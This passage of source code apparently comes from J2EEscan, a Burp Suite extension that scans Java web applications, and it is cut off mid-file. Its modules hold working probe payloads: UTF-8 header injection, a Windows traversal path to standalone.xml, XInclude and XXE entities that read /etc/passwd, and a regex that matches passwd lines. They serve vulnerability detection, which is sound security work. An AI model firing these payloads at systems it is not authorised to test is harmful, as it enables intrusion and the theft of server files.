currentCollaboratorPayload); 87 | 88 | byte[] rawrequest = baseRequestResponse.getRequest(); 89 | 90 | modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest, 91 | callbacks.getHelpers().buildParameter(payloadSpringDataBind, 92 | "j2eescan", IParameter.PARAM_BODY) 93 | ); 94 | 95 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 96 | baseRequestResponse.getHttpService(), modifiedRawRequest); 97 | 98 | 99 | // Poll Burp Collaborator for remote interaction 100 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 101 | 102 | if (!collaboratorInteractions.isEmpty()) { 103 | issues.add(new CustomScanIssue( 104 | baseRequestResponse.getHttpService(), 105 | reqInfo.getUrl(), 106 | checkRequestResponse, 107 | TITLE, 108 | DESCRIPTION, 109 | REMEDY, 110 | Risk.High, 111 | Confidence.Certain 112 | )); 113 | } 114 | 115 | return issues; 116 | 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPParser.getResponseHeaderValue; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IResponseInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | import java.io.PrintWriter; 16 | import java.net.URL; 17 | import java.util.ArrayList; 18 | import java.util.LinkedHashSet; 19 | import java.util.List; 20 | 21 | /** 22 | * 23 | * UTF8 Response Splitting 24 | * 25 | * 26 | */ 27 | public class UTF8ResponseSplitting implements IModule { 28 | 29 | // List of host and port system already tested 30 | private static LinkedHashSet hs = new LinkedHashSet(); 31 | 32 | private static final String TITLE = "UTF8 Response Splitting"; 33 | private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability.

" 34 | + "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars

" 35 | + "References
" 36 | + "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/
" 37 | + "https://www.owasp.org/index.php/HTTP_Response_Splitting
" 38 | + "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)"; 39 | 40 | private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies."; 41 | 42 | private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes(); 43 | 44 | private PrintWriter stderr; 45 | 46 | @Override 47 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 48 | 49 | List issues = new ArrayList<>(); 50 | 51 | IExtensionHelpers helpers = callbacks.getHelpers(); 52 | stderr = new PrintWriter(callbacks.getStderr(), true); 53 | 54 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 55 | 56 | URL url = reqInfo.getUrl(); 57 | String host = url.getHost(); 58 | int port = url.getPort(); 59 | 60 | String system = host.concat(Integer.toString(port)); 61 | 62 | String protocol = url.getProtocol(); 63 | Boolean isSSL = (protocol.equals("https")); 64 | 65 | // make a request containing our injection test in the insertion point 66 | byte[] checkRequest = insertionPoint.buildRequest(INJ); 67 | 68 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 69 | baseRequestResponse.getHttpService(), checkRequest); 70 | 71 | IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse()); 72 | 73 | if (getResponseHeaderValue(responseInfo, "X-Injection") != null) { 74 | issues.add(new CustomScanIssue( 75 | baseRequestResponse.getHttpService(), 76 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 77 | checkRequestResponse, 78 | TITLE, 79 | DESCRIPTION, 80 | REMEDY, 81 | Risk.Medium, 82 | Confidence.Certain 83 | )); 84 | } 85 | 86 | return issues; 87 | 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/UndertowTraversal.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import static burp.HTTPMatcher.getMatches; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IExtensionHelpers; 7 | import burp.IHttpRequestResponse; 8 | import burp.IRequestInfo; 9 | import burp.IResponseInfo; 10 | import burp.IScanIssue; 11 | import burp.IScannerInsertionPoint; 12 | import burp.j2ee.Confidence; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.issues.IModule; 16 | 17 | import java.io.PrintWriter; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.Arrays; 22 | import java.util.LinkedHashSet; 23 | import java.util.List; 24 | 25 | /** 26 | * 27 | * CVE-2014-7816 28 | * 29 | * Directory traversal vulnerability in JBoss Undertow 1.0.x before 1.0.17, 1.1.x before 1.1.0.CR5, 30 | * and 1.2.x before 1.2.0.Beta3, when running on Windows, allows remote attackers 31 | * to read arbitrary files via a .. (dot dot) in a resource URI. 32 | * 33 | * https://bugzilla.redhat.com/show_bug.cgi?id=1157478 34 | * https://issues.jboss.org/browse/WFLY-4020 35 | * 36 | */ 37 | public class UndertowTraversal implements IModule { 38 | 39 | // List of host and port system already tested 40 | private static LinkedHashSet hs = new LinkedHashSet(); 41 | 42 | private static final String TITLE = "JBoss Undertow Directory Traversal"; 43 | private static final String DESCRIPTION = "J2EEscan identified the JBoss Undertow " 44 | + "directory traversal vulnerability.

" 45 | + "References:

" 46 | + "https://bugzilla.redhat.com/show_bug.cgi?id=1157478
" 47 | + "https://issues.jboss.org/browse/WFLY-4020"; 48 | 49 | private static final String REMEDY = "Update the software with the last security patches"; 50 | 51 | 52 | private static final List JBOSS_PATHS = Arrays.asList( 53 | "/..\\\\standalone\\\\configuration\\\\standalone.xml" 54 | ); 55 | 56 | /** 57 | * 58 | * 59 | 60 | 61 | 62 | 63 | [...] 64 | */ 65 | 66 | private static final List GREP_STRINGS = Arrays.asList( 67 | " scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 75 | 76 | List issues = new ArrayList<>(); 77 | 78 | IExtensionHelpers helpers = callbacks.getHelpers(); 79 | stderr = new PrintWriter(callbacks.getStderr(), true); 80 | 81 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 82 | 83 | URL url = reqInfo.getUrl(); 84 | String host = url.getHost(); 85 | int port = url.getPort(); 86 | 87 | String system = host.concat(Integer.toString(port)); 88 | 89 | // System not yet tested for this vulnerability 90 | if (!hs.contains(system)) { 91 | 92 | hs.add(system); 93 | 94 | String protocol = url.getProtocol(); 95 | Boolean isSSL = (protocol.equals("https")); 96 | 97 | for (String JBOSS_PATH : JBOSS_PATHS) { 98 | 99 | try { 100 | 101 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH); 102 | byte[] jbosstest = helpers.buildHttpRequest(urlToTest); 103 | 104 | byte[] response = callbacks.makeHttpRequest(url.getHost(), 105 | url.getPort(), isSSL, jbosstest); 106 | 107 | IResponseInfo jbossUndertowInfo = helpers.analyzeResponse(response); 108 | 109 | if (jbossUndertowInfo.getStatusCode() == 200) { 110 | 111 | // look for matches of our active check grep string 112 | for (byte[] GREP_STRING : GREP_STRINGS) { 113 | 114 | List matches = getMatches(response, GREP_STRING, helpers); 115 | 116 | if (matches.size() > 0) { 117 | 118 | callbacks.addScanIssue(new CustomScanIssue( 119 | baseRequestResponse.getHttpService(), 120 | new URL(protocol, url.getHost(), url.getPort(), JBOSS_PATH), 121 | new CustomHttpRequestResponse(jbosstest, response, baseRequestResponse.getHttpService()), 122 | TITLE, 123 | DESCRIPTION, 124 | REMEDY, 125 | Risk.Medium, 126 | Confidence.Certain 127 | )); 128 | } 129 | } 130 | } 131 | 132 | } catch (MalformedURLException ex) { 133 | stderr.println("Malformed URL Exception " + ex); 134 | } 135 | } 136 | } 137 | 138 | return issues; 139 | } 140 | 141 | } 142 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/XInclude.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IRequestInfo; 7 | import burp.IScanIssue; 8 | import burp.IScannerInsertionPoint; 9 | import burp.j2ee.Confidence; 10 | import burp.j2ee.CustomScanIssue; 11 | import burp.j2ee.Risk; 12 | import burp.j2ee.issues.IModule; 13 | 14 | import java.net.URL; 15 | import java.util.ArrayList; 16 | import java.util.Arrays; 17 | import java.util.List; 18 | import java.util.regex.Matcher; 19 | import java.util.regex.Pattern; 20 | 21 | /** 22 | * 23 | * This module detect remote XML library parser with support of XInclude 24 | * capability 25 | * 26 | * This vulnerability usually could lead to Local File Include issues 27 | */ 28 | public class XInclude implements IModule { 29 | 30 | private static final String TITLE = "XML Security - XInclude Support"; 31 | private static final String DESCRIPTION = "J2EEscan verified XInclude functionality into the remote " 32 | + "XML parser; it's possible " 33 | + "to abuse this capability to execute LFI attacks." 34 | + "

" 35 | + "References:

" 36 | + "https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
" 37 | + "http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
"; 38 | 39 | private static final String REMEDY = "It's reccomended to disable XInclude capability support."; 40 | 41 | private static final List XINCLUDE_REGEX = Arrays.asList( 42 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 43 | // TODO FIXME Disable these patterns to avoid FP 44 | 45 | //Pattern.compile("file not found", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE), 46 | //Pattern.compile("java\\.io\\.FileNotFoundException", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 47 | 48 | private static final List XINCLUDE_INJ_TESTS = Arrays.asList( 49 | "".getBytes()); 50 | 51 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 52 | 53 | IExtensionHelpers helpers = callbacks.getHelpers(); 54 | List issues = new ArrayList<>(); 55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 56 | URL curURL = reqInfo.getUrl(); 57 | 58 | // Skip test if there is no XML request body 59 | if (IRequestInfo.CONTENT_TYPE_XML != reqInfo.getContentType()){ 60 | return issues; 61 | } 62 | 63 | 64 | for (byte[] INJ_TEST : XINCLUDE_INJ_TESTS) { 65 | // make a request containing our injection test in the insertion point 66 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 67 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 68 | baseRequestResponse.getHttpService(), checkRequest); 69 | 70 | String response = helpers.bytesToString(checkRequestResponse.getResponse()); 71 | 72 | for (Pattern xincludeMatcher : XINCLUDE_REGEX) { 73 | 74 | Matcher matcher = xincludeMatcher.matcher(response); 75 | 76 | if (matcher.find()) { 77 | 78 | issues.add(new CustomScanIssue( 79 | baseRequestResponse.getHttpService(), 80 | reqInfo.getUrl(), 81 | checkRequestResponse, 82 | TITLE, 83 | DESCRIPTION, 84 | REMEDY, 85 | Risk.Medium, 86 | Confidence.Certain 87 | )); 88 | 89 | return issues; 90 | } 91 | } 92 | } 93 | 94 | return issues; 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/XXEParameterModule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.HTTPMatcher; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IScanIssue; 8 | import burp.IScannerInsertionPoint; 9 | import burp.j2ee.Confidence; 10 | import burp.j2ee.CustomScanIssue; 11 | import burp.j2ee.Risk; 12 | import burp.j2ee.issues.IModule; 13 | import java.util.ArrayList; 14 | import java.util.Arrays; 15 | import java.util.List; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | /** 20 | * Extend detection for XXE attacks 21 | * 22 | * XXE test on all HTTP parameters, not only on SOAP XML POST requests 23 | * 24 | */ 25 | public class XXEParameterModule implements IModule{ 26 | 27 | private static final String TITLE = "XML Security - XML External Entities Injection (XXE)"; 28 | private static final String DESCRIPTION = "J2EEscan detect a XML External Entities Injection vulnerability.
" 29 | + "The XML parsing library supports the use of custom entity references " 30 | + "in the XML document; custom entities " 31 | + "can be defined by including a user defined
DOCTYPE
that " 32 | + "reference an external resource to be included.
" 33 | + "This option could be abused to carry on XXE attacks, leading " 34 | + "to DoS conditions, " 35 | + "local file include, internal LAN scanning and SSRF attacks. " 36 | + "

" 37 | + "References:

" 38 | + "https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
" 39 | + "https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
" 40 | + "http://en.wikipedia.org/wiki/Billion_laughs
" 41 | + "http://docs.spring.io/spring-ws/site/reference/html/oxm.html
" 42 | + "https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=61702260
" 43 | + "https://github.com/pwntester/BlockingServer
" 44 | + "http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
" 45 | + "http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
"; 46 | 47 | private static final String REMEDY = "It's reccomended to disable
DOCTYPE
resolution on the XML library or update it with the last security patches.
" 48 | + "https://github.com/jmurty/java-xmlbuilder/issues/6
" 49 | + "https://www.java.net/xxe-xml-external-entity-attack-jaxb-and-jersey
" 50 | + "JAXB
" 51 | + "Disable the following properties
IS_SUPPORTING_EXTERNAL_ENTITIES
and" 52 | + "
XMLInputFactory.SUPPORT_DTD


"; 53 | 54 | private static final List XXE_INJECTION_TESTS = Arrays.asList( 55 | "]>&xxe;".getBytes(), 56 | // https://twitter.com/Agarri_FR/status/656440244116574208 57 | " %dtd;]>]]>".getBytes() 58 | ); 59 | 60 | private static final List XXE_RE_MATCHES = Arrays.asList( 61 | Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE), 62 | Pattern.compile("file not found", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE), 63 | Pattern.compile("java\\.io\\.FileNotFoundException", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 64 | 65 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 66 | 67 | IExtensionHelpers helpers = callbacks.getHelpers(); 68 | List issues = new ArrayList<>(); 69 | 70 | for (byte[] INJ_TEST : XXE_INJECTION_TESTS) { 71 | 72 | // Test for XXE only if the injection point is an xml stream 73 | String baseValue = insertionPoint.getBaseValue(); 74 | if (!HTTPMatcher.isXML(baseValue)){ 75 | return issues; 76 | } 77 | 78 | byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST); 79 | 80 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 81 | baseRequestResponse.getHttpService(), checkRequest); 82 | 83 | String response = helpers.bytesToString(checkRequestResponse.getResponse()); 84 | 85 | for (Pattern xxeMatcher : XXE_RE_MATCHES) { 86 | 87 | Matcher matcher = xxeMatcher.matcher(response); 88 | 89 | if (matcher.find()) { 90 | 91 | issues.add(new CustomScanIssue( 92 | baseRequestResponse.getHttpService(), 93 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 94 | checkRequestResponse, 95 | TITLE, 96 | DESCRIPTION, 97 | REMEDY, 98 | Risk.High, 99 | Confidence.Certain)); 100 | 101 | // Return at first XXE instance detected 102 | return issues; 103 | } 104 | } 105 | } 106 | 107 | return issues; 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/lib/TesterAjpMessage.java: -------------------------------------------------------------------------------- 1 | 2 | package burp.j2ee.lib; 3 | 4 | 5 | import java.util.ArrayList; 6 | import java.util.LinkedHashMap; 7 | import java.util.List; 8 | import java.util.Map; 9 | import org.apache.coyote.ajp.AjpMessage; 10 | import org.apache.coyote.ajp.Constants; 11 | 12 | /** 13 | * 14 | * https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp 15 | * 16 | * Extends {@link AjpMessage} to provide additional methods for reading from the 17 | * message. 18 | * TODO: See if it makes sense for any/all of these methods to be transferred to 19 | * AjpMessage 20 | */ 21 | public class TesterAjpMessage extends AjpMessage { 22 | 23 | private final List
headers = new ArrayList
(); 24 | 25 | private final Map attribute = new LinkedHashMap(); 26 | 27 | 28 | public TesterAjpMessage(int packetSize) { 29 | super(packetSize); 30 | } 31 | 32 | public byte[] raw() { 33 | return buf; 34 | } 35 | 36 | public byte readByte() { 37 | return buf[pos++]; 38 | } 39 | 40 | public int readInt() { 41 | int val = (buf[pos++] & 0xFF ) << 8; 42 | val += buf[pos++] & 0xFF; 43 | return val; 44 | } 45 | 46 | public String readString() { 47 | int len = readInt(); 48 | return readString(len); 49 | } 50 | 51 | public String readString(int len) { 52 | StringBuilder buffer = new StringBuilder(len); 53 | 54 | for (int i = 0; i < len; i++) { 55 | char c = (char) buf[pos++]; 56 | buffer.append(c); 57 | } 58 | // Read end of string marker 59 | readByte(); 60 | 61 | return buffer.toString(); 62 | } 63 | 64 | public String readHeaderName() { 65 | byte b = readByte(); 66 | if ((b & 0xFF) == 0xA0) { 67 | // Coded header 68 | return Constants.getResponseHeaderForCode(readByte()); 69 | } else { 70 | int len = (b & 0xFF) << 8; 71 | len += getByte() & 0xFF; 72 | return readString(len); 73 | } 74 | } 75 | 76 | 77 | public void addHeader(int code, String value) { 78 | headers.add(new Header(code, value)); 79 | } 80 | 81 | 82 | public void addHeader(String name, String value) { 83 | headers.add(new Header(name, value)); 84 | } 85 | 86 | public void addAttribute(String name, String value) { 87 | attribute.put(name, value); 88 | } 89 | 90 | 91 | @Override 92 | public void end() { 93 | // Add the header count 94 | appendInt(headers.size()); 95 | 96 | for (Header header : headers) { 97 | header.append(this); 98 | } 99 | 100 | for (Map.Entry entry : attribute.entrySet()) { 101 | appendByte(10); 102 | appendString(entry.getKey()); 103 | appendString(entry.getValue()); 104 | } 105 | 106 | // Terminator 107 | appendByte(0xFF); 108 | 109 | len = pos; 110 | int dLen = len - 4; 111 | 112 | buf[0] = (byte) 0x12; 113 | buf[1] = (byte) 0x34; 114 | buf[2] = (byte) ((dLen>>>8) & 0xFF); 115 | buf[3] = (byte) (dLen & 0xFF); 116 | } 117 | 118 | 119 | @Override 120 | public void reset() { 121 | super.reset(); 122 | headers.clear(); 123 | } 124 | 125 | 126 | 127 | 128 | private static class Header { 129 | private final int code; 130 | private final String name; 131 | private final String value; 132 | 133 | public Header(int code, String value) { 134 | this.code = code; 135 | this.name = null; 136 | this.value = value; 137 | } 138 | 139 | public Header(String name, String value) { 140 | this.code = 0; 141 | this.name = name; 142 | this.value = value; 143 | } 144 | 145 | public void append(TesterAjpMessage message) { 146 | if (code == 0) { 147 | message.appendString(name); 148 | } else { 149 | message.appendInt(code); 150 | } 151 | message.appendString(value); 152 | } 153 | } 154 | } -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/ApacheStrutsS2023Rule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IRequestInfo; 7 | import burp.IResponseInfo; 8 | import burp.j2ee.Confidence; 9 | import burp.j2ee.CustomScanIssue; 10 | import burp.j2ee.Risk; 11 | import burp.j2ee.passive.strutstoken.StrutsTokenCracker; 12 | 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | /** 17 | * Rule that identify Struts S2-023 18 | *
19 | * Ref: http://struts.apache.org/docs/s2-023.html 20 | * 21 | * @author Philippe Arteau 22 | */ 23 | public class ApacheStrutsS2023Rule implements PassiveRule { 24 | 25 | private final Pattern TOKEN_FIELD_PATTERN = Pattern.compile("
" 49 | + "References:

" 50 | + "http://struts.apache.org/docs/s2-023.html
" 51 | + "http://blog.h3xstream.com/2014/12/predicting-struts-csrf-token-cve-2014.html
", 52 | "Update the remote Struts vulnerable library", 53 | Risk.Medium, 54 | Confidence.Certain 55 | )); 56 | } 57 | } 58 | } 59 | 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/ApacheTomcatRule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IRequestInfo; 7 | import burp.IResponseInfo; 8 | import burp.SoftwareVersions; 9 | import burp.j2ee.Confidence; 10 | import burp.j2ee.CustomScanIssue; 11 | import burp.j2ee.Risk; 12 | 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | public class ApacheTomcatRule implements PassiveRule { 17 | 18 | private static final Pattern TOMCAT_PATTERN = Pattern.compile("Apache Tomcat/([\\d\\.]+)", Pattern.DOTALL | Pattern.MULTILINE); 19 | private static final Pattern JVM_RULE = Pattern.compile("\">(1\\.\\d\\.[\\w\\-\\_\\.]+)<", Pattern.DOTALL | Pattern.MULTILINE); 20 | 21 | @Override 22 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 23 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 24 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) { 25 | IExtensionHelpers helpers = callbacks.getHelpers(); 26 | 27 | /** 28 | * Detect Apache Tomcat 29 | */ 30 | if (respBody != null && contentTypeResponse != null 31 | && (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) { 32 | 33 | Matcher matcher = TOMCAT_PATTERN.matcher(respBody); 34 | 35 | if (matcher.find()) { 36 | String version = matcher.group(1); 37 | 38 | SoftwareVersions.getIssues("Apache Tomcat", version, callbacks, baseRequestResponse); 39 | 40 | String nistLink = "https://web.nvd.nist.gov/view/vuln/search-results?adv_search=true&cpe=cpe%3A%2Fa%3Aapache%3Atomcat%3A" + version; 41 | callbacks.addScanIssue(new CustomScanIssue( 42 | baseRequestResponse.getHttpService(), 43 | reqInfo.getUrl(), 44 | baseRequestResponse, 45 | "Information Disclosure - Apache Tomcat " + version, 46 | "J2EEscan identified the remote Servlet Container release; " 47 | + "Apache Tomcat version " + version + ".
" 48 | + "Potential vulnerabilities for this release are available at:
" 49 | + "
  • " + nistLink + "


" 50 | + "References
" 51 | + "http://tomcat.apache.org/security.html", 52 | "Configure the remote application to correctly manage error pages to avoid information disclosure issues", 53 | Risk.Low, 54 | Confidence.Certain 55 | )); 56 | } 57 | 58 | } 59 | 60 | /** 61 | * 62 | * JVM Remote Release Detection 63 | * 64 | * Tomcat Manager JVM info 65 | * 66 | * 67 | * Apache Tomcat/6.0.26 68 | * 1.6.0_18-b18 69 | * Sun Microsystems Inc. 70 | * Linux 71 | * 2.6.30.10-105.2.23.fc11.i686.PAE 73 | * i386 74 | */ 75 | if (respBody != null && reqInfo.getUrl().getPath().contains("manager/html")) { 76 | 77 | Matcher matcher = JVM_RULE.matcher(respBody); 78 | 79 | if (matcher.find()) { 80 | 81 | callbacks.addScanIssue(new CustomScanIssue( 82 | baseRequestResponse.getHttpService(), 83 | reqInfo.getUrl(), 84 | baseRequestResponse, 85 | "Information Disclosure - JVM Remote Release Detection", 86 | "J2EEscan identified the remote JVM release " + matcher.group(1) + "", 87 | "Verify the Java updates for the release:
    " 88 | + "
  • Java 1.7 http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html
  • " 89 | + "
  • Java 1.6 http://www.oracle.com/technetwork/java/javase/releasenotes-136954.html
  • " 90 | + "
  • Java 1.5 http://www.oracle.com/technetwork/articles/javase/overview-137139.html
  • " 91 | + "
", 92 | Risk.Information, 93 | Confidence.Certain 94 | )); 95 | } 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/JettyRule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IRequestInfo; 7 | import burp.IResponseInfo; 8 | import burp.j2ee.Confidence; 9 | import burp.j2ee.CustomScanIssue; 10 | import burp.j2ee.Risk; 11 | 12 | import java.util.regex.Matcher; 13 | import java.util.regex.Pattern; 14 | 15 | public class JettyRule implements PassiveRule { 16 | 17 | private static final Pattern JETTY_PATTERN = Pattern.compile(">Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE); 18 | 19 | @Override 20 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 21 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 22 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) { 23 | IExtensionHelpers helpers = callbacks.getHelpers(); 24 | 25 | /** 26 | * Detect Jetty 27 | */ 28 | if (respBody != null && contentTypeResponse != null 29 | && (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) { 30 | 31 | 32 | Matcher matcher = JETTY_PATTERN.matcher(respBody); 33 | 34 | if (matcher.find()) { 35 | 36 | callbacks.addScanIssue(new CustomScanIssue( 37 | baseRequestResponse.getHttpService(), 38 | reqInfo.getUrl(), 39 | baseRequestResponse, 40 | "Information Disclosure - Jetty", 41 | "J2EEscan identified the remote Servlet Container", 42 | "", 43 | Risk.Information, 44 | Confidence.Certain 45 | )); 46 | } 47 | 48 | } 49 | 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/PassiveRule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IHttpRequestResponse; 5 | import burp.IRequestInfo; 6 | import burp.IResponseInfo; 7 | 8 | public interface PassiveRule { 9 | 10 | 11 | void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 12 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 13 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader); 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/SessionFixation.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.HTTPParser; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IResponseInfo; 9 | import burp.j2ee.Confidence; 10 | import burp.j2ee.CustomScanIssue; 11 | import burp.j2ee.Risk; 12 | import java.net.URL; 13 | 14 | /** 15 | * 16 | * Basic dummy strategy to identify Session Fixation issues 17 | * 18 | * 19 | * TODO - improve the detection method, it's prone to FP. 20 | * - More tests needed 21 | * - Need to extend also to other common cookies, not only JSESSIONID 22 | * 23 | */ 24 | public class SessionFixation implements PassiveRule { 25 | 26 | private static final String TITLE = "J2EE Session Fixation"; 27 | private static final String DESCRIPTION = "J2EEscan identified a Session Fixation issue.
" 28 | + "Authenticating a user, or otherwise establishing a new user session, without invalidating any " 29 | + "existing session identifier gives an attacker the opportunity to steal authenticated sessions.

" 30 | + "" 31 | + "Due to the nature of the vulnerability, this check is prone to False Positives and must be manually confirmed" 32 | + "

" 34 | + "References:

" 35 | + "https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003)
" 36 | + "https://community.liferay.com/forums/-/message_boards/message/79181621
" 37 | + "https://cwe.mitre.org/data/definitions/384.html
" 38 | + "https://docs.spring.io/spring-security/site/docs/3.2.1.RELEASE/apidocs/org/springframework/security/web/authentication/session/SessionFixationProtectionStrategy.html"; 39 | 40 | private static final String REMEDY = "Invalidate any existing session identifiers prior to authorizing a new user session."; 41 | 42 | @Override 43 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 44 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 45 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) { 46 | 47 | URL curURL = reqInfo.getUrl(); 48 | 49 | // Skip test for not j2ee applications 50 | if (!isJavaApplicationByURL(curURL)) { 51 | return; 52 | } 53 | 54 | String requestCookie = HTTPParser.getRequestHeaderValue(reqInfo, "Cookie"); 55 | 56 | // Verify if the client use a JSESSIOIND cookie to track HTTP sessions 57 | if (requestCookie != null && requestCookie.contains("JSESSIONID")) { 58 | 59 | String reqBodyLowercase = reqBody.toLowerCase(); 60 | 61 | if (reqBodyLowercase != null 62 | && (reqBodyLowercase.contains("password") || reqBodyLowercase.contains("pwd") || reqBodyLowercase.contains("passw")) 63 | && (reqBodyLowercase.contains("user") || reqBodyLowercase.contains("uid") || reqBodyLowercase.contains("mail"))) { 64 | 65 | String setCookieHeader = HTTPParser.getResponseHeaderValue(respInfo, "Set-Cookie"); 66 | 67 | if ((setCookieHeader == null) || (setCookieHeader != null && !setCookieHeader.contains("JSESSIONID"))) { 68 | 69 | 